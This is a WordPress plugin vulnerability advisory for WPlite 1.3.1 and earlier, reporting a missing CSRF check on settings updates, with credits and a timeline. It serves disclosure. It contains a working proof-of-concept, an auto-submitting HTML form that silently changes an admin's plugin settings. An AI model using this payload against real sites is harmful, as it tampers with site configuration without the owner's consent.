WordPress Plugin Vulnerabilities
WPlite <= 1.3.1 - Arbitrary Settings Update via CSRF
Description
The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack
Proof of Concept
<form id="test" action="https://example.com/wp-admin/options-general.php?page=wplite.php" method="POST"> <input type="text" name="disabled_submenu_items[]" value="plugin-install.php"> <input type="text" name="disabled_submenu_items[]" value="options-general.php"> <input type="text" name="disabled_submenu_items[]" value="options-writing.php"> <input type="text" name="update_wplite_options" value="1"> </form> <script> document.getElementById("test").submit(); </script>
Affects Plugins
References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-05-30 (about 1 years ago)
Added
2022-05-30 (about 1 years ago)
Last Updated
2023-02-25 (about 1 years ago)